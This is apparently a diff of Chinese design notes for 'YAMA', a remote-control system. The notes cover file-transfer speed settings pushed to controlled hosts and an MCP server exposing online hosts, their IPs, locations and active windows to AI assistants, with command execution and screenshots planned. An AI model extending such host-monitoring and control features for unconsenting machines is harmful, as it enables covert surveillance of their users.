- `durationMs = 0` 表示不人为限速(`Sleep(0)` 仅让出时间片,实际受带宽约束)。
|
||||
- **注意 Windows `Sleep` 粒度 ≈ 15.6ms**:`durationMs` 低于约 15ms 基本等同不限速。故档位要么 ≥ 20ms,要么直接 0ms,不设 5ms 之类的“名不副实”中间值。
|
||||
|
||||
预估文案:`当前约 1.25 MB/s`;`durationMs==0` 显示 `不限速(受网络带宽约束)`。
|
||||
|
||||
- **多语言**:档位名(最慢/慢/默认/快/更快/很快/不限速)与预估格式串(`%s · 约 %.2f MB/s`、`%s · 不受限速(受网络带宽约束)`)经 `_TR`/`_LF` 走 `LangManager` 翻译表;语言文件以中文原文为 key。刻度标签拆成 最慢/默认/不限速 三个独立 `LTEXT` 以便各自翻译(英文宽度不同,不能靠空格对齐)。
|
||||
|
||||
---
|
||||
|
||||
## 4. 两个方向的生效链路
|
||||
|
||||
文件传输有两条方向,`InitFileUpload` 各自在不同进程/时机调用:
|
||||
|
||||
| 方向 | 发送方 | `InitFileUpload` 调用点 | 生效方式 |
|
||||
|---|---|---|---|
|
||||
| 上传(主控端 → 被控端) | 主控端 | `server/2015Remote/2015RemoteDlg.cpp:2223`(启动一次) | 读 `THIS_CFG`,重启主控端生效 |
|
||||
| 下载(被控端 → 主控端) | 被控端 | `client/FileManager.cpp:40`(CFileManager 构造,每会话一次) | 读客户端配置(`MasterSettings` 登录下发写入),下次打开文件管理会话生效 |
|
||||
|
||||
### 4.1 上传方向(主控端本地,无协议改动)
|
||||
|
||||
`2015RemoteDlg.cpp:2223` 现为 `InitFileUpload({},{},GetHMAC(),64,50,Logf,GetUpperHash())`,改为读 `THIS_CFG`:
|
||||
|
||||
```cpp
|
||||
int chunkKb = THIS_CFG.GetInt("transfer", "ChunkKb", 64);
|
||||
int durMs = THIS_CFG.GetInt("transfer", "DurationMs", 50);
|
||||
InitFileUpload({}, {}, GetHMAC(), chunkKb, durMs, Logf, GetUpperHash());
|
||||
```
|
||||
|
||||
### 4.2 下载方向(随 `MasterSettings` 登录下发到被控端)
|
||||
|
||||
下载速度**不再用独立命令下发**,而是折叠进 `MasterSettings` 结构体,随**客户端每次登录成功**第一时间下发(主连接建立即 `SendMasterSettings`),客户端持久化到 `[transfer]` 节后本地生效:
|
||||
|
||||
1. **`common/commands.h`**:在 `MasterSettings` 结构体 `Reserved` 之前新增两个字段(`sizeof` 仍为 1000,`Signature` 偏移不变,向下兼容老客户端):
|
||||
```c
|
||||
uint16_t TransferChunkKb; // 文件传输速度 chunkKb(随登录配置下发)
|
||||
uint16_t TransferDurationMs; // 文件传输速度 durationMs(0=不限速)
|
||||
```
|
||||
2. **主控端登录即下发**:`OnInitDialog()` 读 `THIS_CFG` 的 `[transfer]`(`GetTransferSpeed`,默认 64/50),填入 `m_settings.TransferChunkKb/TransferDurationMs`。登录链路本就把 `m_settings` 经 `SendMasterSettings` 下发给每个新连接客户端,**无需任何额外命令**。
|
||||
3. **主控端改速即时广播**:`OnFileTransferSpeed()` 保存后同步更新 `m_settings` 两个字段并 `SendMasterSettings(nullptr, m_settings)`,在线客户端即时收到新速度;新连接主机也自动获取。
|
||||
4. **被控端接收**:客户端 `CMD_MASTERSETTING` 处理器(`client/KernelManager.cpp:1116` 附近)中,`TransferChunkKb` 非 0(老主控未携带时为 0,保留本地默认值)则把两数写入 `iniFile(CLIENT_PATH)` 的 `[transfer]` 节。
|
||||
5. **被控端调用点读配置**:`client/FileManager.cpp:40`(CFileManager 构造)等 4 个 `InitFileUpload` 调用点均读 `cfg.GetInt("transfer", ...)`,替换硬编码 `64, 50`。CFileManager 每会话重建(构造 Init、析构 Uninit),故下次打开文件管理即生效。
|
||||
|
||||
> **为何不用独立命令**:v1.4.0 曾用独立 `CMD_FILE_SPEED(252)` 在 `OnOnlineFileManager()`/`OnOnlineDesktopManager()` 发 `COMMAND_LIST_DRIVE`/`COMMAND_SCREEN_SPY` **之前**追加下发。主控端 IOCP 对两次背靠背 `Send2Client` 会合并为两次整包 `WSASend`(`OutCompressedBuffer` 累积),导致客户端收到重复的 `[FILE_SPEED][SCREEN_SPY]` 命令流——这正是“点击远程桌面弹出两个对话框”的根因(commit 76decec)。改为随 `MasterSettings` 登录下发后,下载方向不再有任何背靠背发送。
|
||||
> **向后兼容**:`CMD_FILE_SPEED = 252` 命令号与客户端 `case CMD_FILE_SPEED` 处理器仍保留,供老主控(仍按旧机制下发)与新客户端互通;新主控不再发送该命令。
|
||||
> **关键**:库用进程级引用计数,速度只在**首次** `InitFileUpload` 时设定(`g_threadCount > 1` 时提前返回,不重设)。客户端共 4 个 `InitFileUpload` 调用点(`FileManager.cpp:40`、`ScreenManager.cpp:109`、`ScreenManager.cpp:873`、`KernelManager.cpp:1399`),谁先初始化谁锁定速度。故**这 4 处必须全部改为读同一配置**,否则下载速度会被先初始化的管理器(如远程桌面会话)锁成旧值。
|
||||
|
||||
---
|
||||
|
||||
## 5. 配置存储
|
||||
|
||||
- 主控端:`THIS_CFG`(ini)`[transfer]` 节 `ChunkKb` / `DurationMs`(int)。
|
||||
- 被控端:`iniFile(CLIENT_PATH)` 的 `[transfer]` 节 `ChunkKb` / `DurationMs`(int),由 `MasterSettings` 登录下发写入。
|
||||
|
||||
存 `ChunkKb`/`DurationMs` 两个 int 而非档位索引:自解释、直接对应 `InitFileUpload` 入参、不易错位。
|
||||
|
||||
---
|
||||
|
||||
## 6. 改动文件清单(Windows 端)
|
||||
|
||||
| 文件 | 改动 |
|
||||
|---|---|
|
||||
| `server/2015Remote/resource.h` | 加 `IDD_FILE_SPEED`、`ID_TOOL_FILE_SPEED`、`IDC_FSPEED_SLIDER`、`IDC_FSPEED_LABEL`、`IDC_FSPEED_RESET` |
|
||||
| `server/2015Remote/2015Remote.rc` | 「高级」菜单加一项;新增对话框资源(滑块+预估标签+按钮)。**文件为 UTF-16LE 编码,须按 Unicode 读写** |
|
||||
| `server/2015Remote/CFileSpeedDlg.h` | 新建:档位表 + `OnHScroll` 实时预估 + 恢复默认(照 `CPreviewLevelsDlg.h` 内联实现) |
|
||||
| `server/2015Remote/2015RemoteDlg.h` | 加 `OnFileTransferSpeed()` 声明 |
|
||||
| `server/2015Remote/2015RemoteDlg.cpp` | 消息映射 `ON_COMMAND(ID_TOOL_FILE_SPEED, ...)`;`2223` 读配置(上传);`OnInitDialog()` 把 `[transfer]` 速度填入 `m_settings`;`OnFileTransferSpeed()` 保存后更新 `m_settings` 并经 `SendMasterSettings(nullptr, ...)` 广播 |
|
||||
| `common/commands.h` | `MasterSettings` 新增 `TransferChunkKb`/`TransferDurationMs`(`sizeof` 不变,`CMD_FILE_SPEED=252` 保留向后兼容) |
|
||||
| `client/KernelManager.cpp` | `CMD_MASTERSETTING` 处理器写 `[transfer]`(`TransferChunkKb` 非 0 才写) |
|
||||
| `client/FileManager.cpp`、`client/ScreenManager.cpp`、`client/KernelManager.cpp` | 4 个 `InitFileUpload` 调用点读配置替换硬编码 `64, 50`(引用计数要求全部一致) |
|
||||
| `server/2015Remote/lang/en_US.ini`、`zh_TW.ini`、`de_DE.ini` | 追加「文件传输速度」相关 13 条中文原文→译文(GBK 编码,`RCDATA "lang\*.ini"` 由 rc.exe 嵌入) |
|
||||
|
||||
---
|
||||
|
||||
## 7. 生效时机与提示文案
|
||||
|
||||
- 上传速度:重启主控端生效。
|
||||
- 下载速度:已推送到在线客户端即时生效;新连接的主机自动获取。
|
||||
- 对话框保存后弹提示:`文件传输速度已保存。上传速度重启主控端后生效;下载速度已推送到在线客户端,新连接的主机也会自动获取。`
|
||||
|
||||
---
|
||||
|
||||
## 8. 风险与备注
|
||||
|
||||
1. **`Sleep` 精度**:Windows 计时器粒度约 15.6ms,`durationMs` 过小则失真(见 §3)。
|
||||
2. **实际速度 < 预估**:预估为纯 `chunk/delay` 理论值,未计入 `f()` 网络发送耗时;对话框文案用“约/大概”表述。
|
||||
3. **结构体字段布局**:`TransferChunkKb`/`TransferDurationMs` 加在 `Reserved` 之前(`sizeof(MasterSettings)` 仍为 1000,`Signature` 偏移不变),保证与 Go 侧/老客户端二进制兼容;`TransferChunkKb == 0` 作为“未下发”哨兵(老主控未填充 → 客户端保留本地默认值)。
|
||||
4. **`.rc` 编码**:`2015Remote.rc` 为 UTF-16LE(带 BOM),编辑必须按 Unicode 处理,避免破坏资源脚本。
|
||||
5. **跨平台**:Linux/macOS 客户端下载路径暂不改;`MasterSettings` 新增字段位于原 `Reserved` 区(老/其他平台客户端不识别即忽略),向后兼容。
|
||||
6. **多语言 key 精确匹配**:语言文件为 GBK 编码、key 不 trim(`CIniParser` 保留原始空格);译文 key 必须与源码逐字一致——源码为 UTF-8、经 `/execution-charset:.936` 编译为 GBK,`·`(U+00B7)、全角括号()等需一致,否则查不到翻译。
|
||||
|
||||
---
|
||||
|
||||
## 9. 实施顺序
|
||||
|
||||
1. `common/commands.h` 扩 `MasterSettings` → `resource.h` 加 ID → `.rc` 加菜单项与对话框资源。
|
||||
2. 新建 `CFileSpeedDlg.h` → `2015RemoteDlg` 接线(上传方向,可先验证)。
|
||||
3. 主控端经 `MasterSettings` 下发速度 → 客户端 `CMD_MASTERSETTING` 持久化 → 客户端调用点读配置(下载方向)。
|
||||
4. 编译验证(MSBuild 须传 `-p:SolutionDir`,见项目记忆)。
|
||||
@@ -0,0 +1,443 @@
|
||||
# YAMA 服务端 MCP 支持方案
|
||||
|
||||
> 版本:1.0
|
||||
> 状态:Final(定稿)
|
||||
> 适用范围:`server/2015Remote/`(C++/MFC 服务端,生产主流)
|
||||
|
||||
---
|
||||
|
||||
## 1. 背景与目标
|
||||
|
||||
### 1.1 背景
|
||||
|
||||
MCP(Model Context Protocol)是 Anthropic 提出的开放协议,让 AI 助手(Claude Code、Claude Desktop 等)通过标准化的工具调用接口访问外部系统的能力。
|
||||
|
||||
YAMA 服务端维护了「在线主机列表」这一核心数据,如果能通过 MCP 暴露出去,用户就能在 Claude Code 里直接问「现在有多少台机器在线?」「列出所有在线的 Windows 主机」等,由 AI 调用工具获取实时数据。
|
||||
|
||||
### 1.2 本期范围(MVP)
|
||||
|
||||
**只跑通 MCP,只实现一个工具**,把可扩展架构搭起来:
|
||||
|
||||
- 传输方式:Streamable HTTP(`POST /mcp`,JSON-RPC 2.0 over HTTP)
|
||||
- 工具数量:1 个 —— `list_online_hosts`(获取在线主机列表)
|
||||
- 暴露范围:启用开关(默认关闭,经「扩展 → MCP设置」对话框开启)+ 绑定地址可配置(默认 `127.0.0.1` 仅本机)+ token 认证(env / THIS_CFG / 随机)
|
||||
- 后续:逐步添加工具(进程列表、命令执行、屏幕截图等),架构不动
|
||||
|
||||
### 1.3 非目标(明确不做)
|
||||
|
||||
- 不做 SSE 服务器推送(本期工具调用是 request/response 即可)
|
||||
- 不做多用户/角色体系(复用现有 WebService 认证或静态 token)
|
||||
- 不做写操作工具(操控主机的工具属于后续阶段,需单独评审安全边界)
|
||||
- 不碰现有 Web 控制台的 WebSocket 服务
|
||||
|
||||
---
|
||||
|
||||
## 2. 现状分析
|
||||
|
||||
C++ 服务端已有大量可直接复用的资产,MCP 的落地成本因此大幅降低。
|
||||
|
||||
| 现成资产 | 位置 | 在 MCP 中的角色 |
|
||||
|---|---|---|
|
||||
| HTTP 服务器 | `httplib.h`(header-only,`file_server.h:34` 已用) | MCP 的 HTTP 传输层 |
|
||||
| JSON 库 | `jsoncpp/json.h`(`WebService.cpp` 已用) | JSON-RPC 编解码 |
|
||||
| Token 认证 | `WebServiceAuth.h`(`GenerateToken` / `ValidateToken` / `ComputeSHA256`) | 可选升级路径;MVP 用简单静态 token 比对(见 §3.5) |
|
||||
| 在线主机列表 → JSON | `CWebService::BuildDeviceListJson()`(`WebService.cpp:1506`) | **工具 `list_online_hosts` 的核心逻辑** |
|
||||
| 在线主机数据源 | `CMy2015RemoteDlg::m_HostList`(`2015RemoteDlg.h:345`,`m_cs` 保护)+ `context::IsLogin()` + `context::GetClientData()` | 取数入口 |
|
||||
| 配置系统 | `THIS_CFG.GetInt/GetStr("settings", ...)` | MCP 端口/token 配置 |
|
||||
|
||||
### 2.1 关键结论
|
||||
|
||||
- **HTTP、JSON、认证、主机列表 JSON 全部现成**,MCP 侧不需要重新造轮子。
|
||||
- **唯一需要手写的是 MCP 的 JSON-RPC 2.0 协议层**,因为 C++ 没有官方 MCP SDK(官方仅有 TS/Python/Java/Kotlin/C#/Go)。
|
||||
|
||||
### 2.2 `BuildDeviceListJson` 现状
|
||||
|
||||
`WebService.cpp:1506` 的 `CWebService::BuildDeviceListJson(const std::string& username)` 已实现:
|
||||
|
||||
- 遍历 `m_pParentDlg->m_HostList`,过滤 `ctx->IsLogin()`
|
||||
- 输出字段:`id` / `name` / `remark` / `ip` / `os` / `location` / `rtt` / `version` / `activeWindow` / `online` / `group` / `screen` / `clientType`
|
||||
- 已处理 GBK/UTF-8 编码分叉(`activeWindow` 字段按客户端能力位选择编码页,见 `WebService.cpp:1581` 附近的 `GetClientEncoding`)
|
||||
|
||||
**该方法是 `private`**(`WebService.h:160`,位于 private 段)。MCP 侧需通过公开入口复用(见 §3.4)。
|
||||
|
||||
---
|
||||
|
||||
## 3. 方案设计
|
||||
|
||||
### 3.1 总体架构
|
||||
|
||||
```
|
||||
2015Remote.exe(MFC 服务端进程)
|
||||
├─ IOCP TCP 服务(被控端连接,现有)
|
||||
├─ WebService(ws::Server,Web 控制台,现有,8080)
|
||||
└─ McpServer(httplib,新增,默认禁用,经「MCP设置」开启后监听 127.0.0.1:6544)
|
||||
POST /mcp → JSON-RPC 分发
|
||||
├─ initialize
|
||||
├─ tools/list
|
||||
└─ tools/call
|
||||
└─ list_online_hosts → 复用 BuildHostJson(公共函数,§3.4)
|
||||
```
|
||||
|
||||
**核心决策:独立起一个 httplib server,不挂到现有 `ws::Server`。**
|
||||
|
||||
理由:
|
||||
- 现有 `ws::Server` 的 `HttpHandler` 只有 `path` 参数、无 POST body(`SimpleWebSocket.h:345`),强挂 MCP 需改动其底层,侵入大、有回归风险。
|
||||
- 独立 server 零耦合、零风险,且天然满足「仅 127.0.0.1」的绑定需求。
|
||||
|
||||
### 3.2 新增文件清单
|
||||
|
||||
| 文件 | 职责 | 估算量 |
|
||||
|---|---|---|
|
||||
| `McpServer.h` / `McpServer.cpp` | httplib 封装、`POST /mcp` 路由、token 校验、生命周期 | ~120 行 |
|
||||
| `McpProtocol.h` / `McpProtocol.cpp` | JSON-RPC 2.0 协议层:`initialize` / `tools/list` / `tools/call` 分发 | ~250 行 |
|
||||
| `McpTools.h` / `McpTools.cpp` | 工具注册表 + `list_online_hosts` 实现 | ~80 行 |
|
||||
| `McpSettingsDlg.h` / `McpSettingsDlg.cpp` | 「MCP设置」配置对话框(启用/端口/绑定/token + 重启提醒) | ~150 行 |
|
||||
| 修改 `2015RemoteDlg.cpp` / `.h` | 启动/停止 McpServer + 菜单项接线(`ID_MCP_SETTINGS` → `OnMcpSettings`) | ~30 行 |
|
||||
| 修改 `2015Remote.rc` / `resource.h` / `UIBranding.h` / `FeatureFlags.h` | `ID_MCP_SETTINGS` 菜单项 + `IDD_DIALOG_MCP_SETTINGS` 对话框资源 + `HIDE_MENU_MCP_SETTINGS` + `MF_MCP_SETTINGS` 许可位 | 少量 |
|
||||
|
||||
> 头文件/实现可合并精简,实际以「一个 `McpServer` 类 + 一个工具注册表 + 一个协议分发函数」为最小形态,文件拆分仅为可读性。
|
||||
|
||||
### 3.3 协议层设计(JSON-RPC 2.0)
|
||||
|
||||
MCP 是 JSON-RPC 2.0。MVP 只需实现以下方法:
|
||||
|
||||
#### 3.3.1 `initialize`(握手)
|
||||
|
||||
请求:
|
||||
```json
|
||||
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"claude","version":"..."}}}
|
||||
```
|
||||
|
||||
响应:
|
||||
```json
|
||||
{"jsonrpc":"2.0","id":1,"result":{
|
||||
"protocolVersion":"2025-06-18",
|
||||
"capabilities":{"tools":{}},
|
||||
"serverInfo":{"name":"yama","version":"<VERSION_STR>"}
|
||||
}}
|
||||
```
|
||||
|
||||
#### 3.3.2 `tools/list`
|
||||
|
||||
请求:`{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}`
|
||||
|
||||
响应:
|
||||
```json
|
||||
{"jsonrpc":"2.0","id":2,"result":{"tools":[{
|
||||
"name":"list_online_hosts",
|
||||
"description":"获取当前所有在线主机的列表,包含计算机名、IP、操作系统、版本、备注、分组、活动窗口、延迟等实时信息。",
|
||||
"inputSchema":{"type":"object","properties":{},"required":[]},
|
||||
"outputSchema":{
|
||||
"type":"object",
|
||||
"properties":{
|
||||
"hosts":{
|
||||
"type":"array",
|
||||
"items":{
|
||||
"type":"object",
|
||||
"properties":{
|
||||
"id":{"type":"string"},
|
||||
"name":{"type":"string"},
|
||||
"remark":{"type":"string"},
|
||||
"ip":{"type":"string"},
|
||||
"os":{"type":"string"},
|
||||
"location":{"type":"string"},
|
||||
"rtt":{"type":"string"},
|
||||
"version":{"type":"string"},
|
||||
"activeWindow":{"type":"string"},
|
||||
"online":{"type":"boolean"},
|
||||
"group":{"type":"string"},
|
||||
"screen":{"type":"string"},
|
||||
"clientType":{"type":"string"}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"required":["hosts"]
|
||||
}
|
||||
}]}}
|
||||
```
|
||||
|
||||
#### 3.3.3 `tools/call`
|
||||
|
||||
请求:
|
||||
```json
|
||||
{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"list_online_hosts","arguments":{}}}
|
||||
```
|
||||
|
||||
响应(结构化输出:`structuredContent` 承载主机数组,`content` 附带可读摘要):
|
||||
```json
|
||||
{"jsonrpc":"2.0","id":3,"result":{
|
||||
"structuredContent":{
|
||||
"hosts":[
|
||||
{"id":"123","name":"DESKTOP-ABC","remark":"我的Windows","ip":"192.168.0.92",
|
||||
"os":"Windows 10","location":"上海市","rtt":"12","version":"...",
|
||||
"activeWindow":"WeChat","online":true,"group":"default","screen":"1:1920x1080","clientType":"EXE"}
|
||||
]
|
||||
},
|
||||
"content":[{"type":"text","text":"共 1 台主机在线。"}],
|
||||
"isError":false
|
||||
}}
|
||||
```
|
||||
|
||||
#### 3.3.4 可选实现
|
||||
|
||||
- `ping`:返回空 result(便于健康检查)
|
||||
- `notifications/initialized`:客户端通知,可忽略
|
||||
|
||||
#### 3.3.5 错误响应(JSON-RPC 2.0 标准)
|
||||
|
||||
协议层必须处理以下错误,返回标准 `error` 结构(`id` 回填请求 id):
|
||||
|
||||
| 场景 | code | message |
|
||||
|---|---|---|
|
||||
| 请求体不是合法 JSON | `-32700` | Parse error |
|
||||
| 请求结构不合法(缺 jsonrpc/method 等) | `-32600` | Invalid Request |
|
||||
| 方法未实现 | `-32601` | Method not found |
|
||||
| 参数非法 | `-32602` | Invalid params |
|
||||
| 内部错误 | `-32603` | Internal error |
|
||||
|
||||
示例(方法未实现):
|
||||
```json
|
||||
{"jsonrpc":"2.0","id":1,"error":{"code":-32601,"message":"Method not found"}}
|
||||
```
|
||||
|
||||
#### 3.3.6 传输层约定(Streamable HTTP 最小子集)
|
||||
|
||||
- 客户端 `POST /mcp`,请求头 `Content-Type: application/json`、`Accept: application/json, text/event-stream`。
|
||||
- 服务端返回 `Content-Type: application/json`(MVP 工具调用为 request/response,无需 SSE 流式)。
|
||||
- `initialize` 响应可回填 `Mcp-Session-Id` 头用于会话管理;MVP 单会话可省略,实现时对照最新 MCP 规范确认。
|
||||
- 仅接受 `POST /mcp`,其余路径/方法返回 404/405。
|
||||
|
||||
### 3.4 工具设计:`list_online_hosts`
|
||||
|
||||
#### 取数方案(已定:抽公共函数)
|
||||
|
||||
`BuildDeviceListJson` 目前是 `CWebService` 的 private 方法,且依赖 `m_pParentDlg`。为满足「MCP 与 WebService 是平级数据消费者、不互相依赖」的原则,采用**方案 C:抽公共函数**。
|
||||
|
||||
```cpp
|
||||
// 公共函数:提取单台在线主机的完整数据(含 GBK/UTF-8 编码处理),返回 UTF-8 的 Json::Value
|
||||
Json::Value BuildHostJson(context* ctx, _ClientList* clientMap);
|
||||
```
|
||||
|
||||
- `CWebService::BuildDeviceListJson` 内部改调该公共函数,Web 侧签名与输出不变(零回归)。
|
||||
- `McpServer` 侧持 `CMy2015RemoteDlg*`(`SetParentDlg`),在 `m_cs` 锁内遍历 `m_HostList`、`IsLogin()` 过滤,对每台主机调 `BuildHostJson`,组装为结构化输出。
|
||||
- **职责边界**:用户名/分组过滤(`username` → `allowed_groups`)、`m_cs` 加锁、以及外层结构(Web 的 `{"cmd","devices"}` vs MCP 的 `{"hosts"}`)属于**调用方**,不进公共函数;`BuildHostJson` 只负责「单台主机 → `Json::Value`」的字段序列化与编码转换。其中 `remark` 依赖 `m_ClientMap->GetClientMapData(id, MAP_NOTE)`,故 `clientMap` 作为参数传入。
|
||||
|
||||
选型说明:方案 A(MCP 依赖 `CWebService` 单例)依赖方向错误,且 `WebSvrPort=0` 时 `m_pParentDlg` 为空导致取不到数;方案 B(MCP 自持父对话框复制逻辑)违反 DRY、重复易错的编码处理。故取 C。
|
||||
|
||||
#### 返回内容(全量,含实时信息)
|
||||
|
||||
**保留 `BuildDeviceListJson` 的全部字段,不做精简**,以支持「AI 协助监督客户端运行状态」的场景:
|
||||
|
||||
- 基础标识:`id` / `name` / `remark` / `ip` / `os` / `location` / `group` / `version` / `clientType` / `screen`
|
||||
- 实时信息:`rtt`(延迟)、`activeWindow`(当前活动窗口,即被控端正在做什么)
|
||||
|
||||
输出结构 `{"hosts": [...]}`,每台主机一个对象,字段与 §3.3.2 的 `outputSchema` 一致。
|
||||
|
||||
### 3.5 安全设计
|
||||
|
||||
- **绑定地址**:默认 `127.0.0.1`(仅本机回环,其他机器无法访问);可经 `McpBind` 配置为 `0.0.0.0`(所有网卡)或内网 IP(如 `192.168.0.92`)以支持远程调用。
|
||||
- 非回环绑定时 token 经明文 HTTP 传输,需强 token,并建议配合防火墙限制源 IP 或启用 HTTPS(项目已有 WebHTTPS 实践)。
|
||||
- **静态 token 校验**:每个 `POST /mcp` 请求校验 `Authorization: Bearer <token>` header;不匹配返回 HTTP 401。
|
||||
- **token 来源**(优先顺序):环境变量 `YAMA_MCP_TOKEN` → `THIS_CFG` 的 `McpToken` → 两者皆空则**随机生成**。
|
||||
- 前两者任一非空即作为固定 token;仅当两者皆空时才随机生成(仅本次进程运行期间有效,进程重启后重新生成不同的 token)。
|
||||
- 随机生成时**必须将 token 输出到日志**(`Mprintf`),否则用户无从获知、无法在 Claude Code 侧配置。
|
||||
- 环境变量名 `YAMA_MCP_TOKEN` 建议同 `BRAND_WEB_ENV_VAR` 一样在 `UIBranding.h` 定义为宏(如 `BRAND_MCP_ENV_VAR`),避免散落硬编码字符串。
|
||||
- **只读边界**:MVP 仅一个只读工具,不暴露任何写/操控能力。
|
||||
- **HTTP 方法限制**:仅接受 `POST /mcp`,其余返回 404/405。
|
||||
|
||||
### 3.6 配置设计
|
||||
|
||||
沿用现有 `THIS_CFG`(`settings` 节):
|
||||
|
||||
| 配置键 | 默认值 | 说明 |
|
||||
|---|---|---|
|
||||
| `McpEnabled` | `0` | MCP 总开关:`0` = 禁用(默认),`1` = 启用。经「扩展 → MCP设置」对话框设置 |
|
||||
| `McpPort` | `6544` | MCP 监听端口;仅当 `McpEnabled=1` 时生效;未配置用默认 `6544` |
|
||||
| `McpBind` | `127.0.0.1` | 监听地址;默认仅本机;可设 `0.0.0.0`(所有网卡)或内网 IP(如 `192.168.0.92`)以支持远程 |
|
||||
| `McpToken` | 空(UI 默认随机值) | 静态 token;对话框内「token 必填、默认随机值」——首次打开若为空则预填随机并随保存持久化。运行时优先级:env `YAMA_MCP_TOKEN` → `McpToken` → 皆空则随机生成(见 §3.5) |
|
||||
|
||||
> 与旧版「`McpPort=0` 即禁用」不同:启用与否改由独立的 `McpEnabled` 开关控制,`McpPort` 回归纯端口语义,二者解耦。
|
||||
|
||||
### 3.7 生命周期接入
|
||||
|
||||
在 `2015RemoteDlg.cpp` Web 服务启动块(约 `2048-2081`)之后,新增 MCP 启动逻辑。`McpServer` 与 `CWebService` 同为单例:提供 `static McpServer& Instance()` 与全局 `inline McpServer& McpServer()` 访问器(仿 `WebService()`,见 `WebService.h` 末尾的全局访问器写法)。
|
||||
|
||||
```cpp
|
||||
auto mcpEnabled = THIS_CFG.GetInt("settings", "McpEnabled", 0); // 默认禁用
|
||||
auto mcpPort = THIS_CFG.GetInt("settings", "McpPort", 6544);
|
||||
auto mcpBind = THIS_CFG.GetStr("settings", "McpBind", "127.0.0.1");
|
||||
if (mcpEnabled) {
|
||||
// token 优先顺序:env YAMA_MCP_TOKEN → THIS_CFG McpToken → 皆空则随机(仅本次进程有效)
|
||||
const char* envTok = getenv("YAMA_MCP_TOKEN");
|
||||
std::string mcpToken;
|
||||
if (envTok && *envTok) {
|
||||
mcpToken = envTok;
|
||||
} else {
|
||||
mcpToken = THIS_CFG.GetStr("settings", "McpToken", "");
|
||||
}
|
||||
if (mcpToken.empty()) {
|
||||
mcpToken = GenerateRandomToken(); // 32 hex 随机串
|
||||
Mprintf("[McpServer] YAMA_MCP_TOKEN / McpToken 均未设置,本次进程随机 token:%s\n", mcpToken.c_str());
|
||||
}
|
||||
McpServer().SetParentDlg(this); // 方案 C:MCP 需遍历 m_HostList,须持父对话框指针
|
||||
McpServer().SetToken(mcpToken);
|
||||
if (!McpServer().Start(mcpBind, mcpPort)) {
|
||||
Mprintf("McpServer start failed on %s:%d\n", mcpBind.c_str(), mcpPort);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
并在退出路径(`OnDestroy` / `ExitInstance` 对应位置)调用 `McpServer().Stop()`。
|
||||
|
||||
### 3.8 「MCP设置」配置对话框
|
||||
|
||||
MCP 默认不启用,通过主对话框「扩展 → MCP设置」菜单项打开配置对话框来开启。菜单项位置:`2015Remote.rc` 扩展菜单(`POPUP "扩展(&X)"`)内、「地理信息(&L)」子菜单(纯真数据库 / IP2Region)的 `END` 之后、「插件设置」之前。
|
||||
|
||||
#### 3.8.1 菜单与资源接线
|
||||
|
||||
1. **`resource.h`**:新增命令 ID(取当前空闲段,经查 `33077` 空闲):
|
||||
```cpp
|
||||
#define ID_MCP_SETTINGS 33077
|
||||
```
|
||||
2. **`2015Remote.rc`**:在「地理信息(&L)」子菜单 `END` 之后、`插件设置` 之前插入:
|
||||
```
|
||||
MENUITEM "MCP设置(&M)...", ID_MCP_SETTINGS
|
||||
```
|
||||
并新增对话框资源 `IDD_DIALOG_MCP_SETTINGS`(「启用 MCP」复选框 + 端口/绑定地址/token 三个编辑框 + 确定/取消按钮)。
|
||||
3. **`UIBranding.h`**:扩展菜单隐藏开关新增一行(默认 `0` 显示):
|
||||
```cpp
|
||||
#define HIDE_MENU_MCP_SETTINGS 0 // MCP设置
|
||||
```
|
||||
4. **`FeatureFlags.h`**:新增运行时许可位,占用 MenuFlags 保留段 `[43-63]` 的首位(紧跟 `MF_REQUEST_AUTH` 之后):
|
||||
```cpp
|
||||
#define MF_MCP_SETTINGS (1ULL << 43) // HIDE_MENU_MCP_SETTINGS
|
||||
```
|
||||
5. **`2015RemoteDlg.cpp`**:`#include "McpSettingsDlg.h"`,然后消息映射 + 处理器 + 剪枝:
|
||||
```cpp
|
||||
ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)
|
||||
// ...
|
||||
void CMy2015RemoteDlg::OnMcpSettings()
|
||||
{
|
||||
CMcpSettingsDlg dlg(this);
|
||||
dlg.DoModal();
|
||||
}
|
||||
```
|
||||
并在扩展菜单剪枝块(`pExtMenu`,约 `2015RemoteDlg.cpp:1225` 之后)追加:
|
||||
```cpp
|
||||
if (SHOULD_HIDE_MENU(HIDE_MENU_MCP_SETTINGS, MF_MCP_SETTINGS))
|
||||
pExtMenu->DeleteMenu(ID_MCP_SETTINGS, MF_BYCOMMAND);
|
||||
```
|
||||
|
||||
> **实现注意**:`2015Remote.rc` 为 UTF-16 编码,菜单与对话框资源须由 VS 资源编辑器维护(手工改文本易破坏编码与资源 ID 引用)。`IDD_DIALOG_MCP_SETTINGS` 需在 `resource.h` 分配独立空闲的 `IDD_` 数值(与 `ID_MCP_SETTINGS` 分开);对话框内控件 ID(如 `IDC_CHK_ENABLE_MCP` / `IDC_EDIT_MCP_PORT` / `IDC_EDIT_MCP_BIND` / `IDC_EDIT_MCP_TOKEN`)同理。
|
||||
|
||||
#### 3.8.2 对话框字段与默认值
|
||||
|
||||
| 控件 | 绑定配置键 | 默认值 | 说明 |
|
||||
|---|---|---|---|
|
||||
| 「启用 MCP」复选框 | `McpEnabled` | 未勾选(`0`) | 勾选后持久化 `McpEnabled=1` |
|
||||
| 端口 | `McpPort` | `6544` | 数字编辑框,仅当启用时有效 |
|
||||
| 绑定地址 | `McpBind` | `127.0.0.1` | 默认仅本机;可改 `0.0.0.0` / 内网 IP |
|
||||
| Token | `McpToken` | 随机值 | 必填;为空时预填随机 token |
|
||||
|
||||
#### 3.8.3 初始化与保存
|
||||
|
||||
打开时读 `THIS_CFG` 回填;token 为空则当场生成随机值预填(32 hex)。保存时落盘并弹重启提醒:
|
||||
|
||||
```cpp
|
||||
BOOL CMcpSettingsDlg::OnInitDialog()
|
||||
{
|
||||
CDialogLangEx::OnInitDialog();
|
||||
int enabled = THIS_CFG.GetInt("settings", "McpEnabled", 0);
|
||||
int port = THIS_CFG.GetInt("settings", "McpPort", 6544);
|
||||
std::string bind = THIS_CFG.GetStr("settings", "McpBind", "127.0.0.1");
|
||||
std::string tok = THIS_CFG.GetStr("settings", "McpToken", "");
|
||||
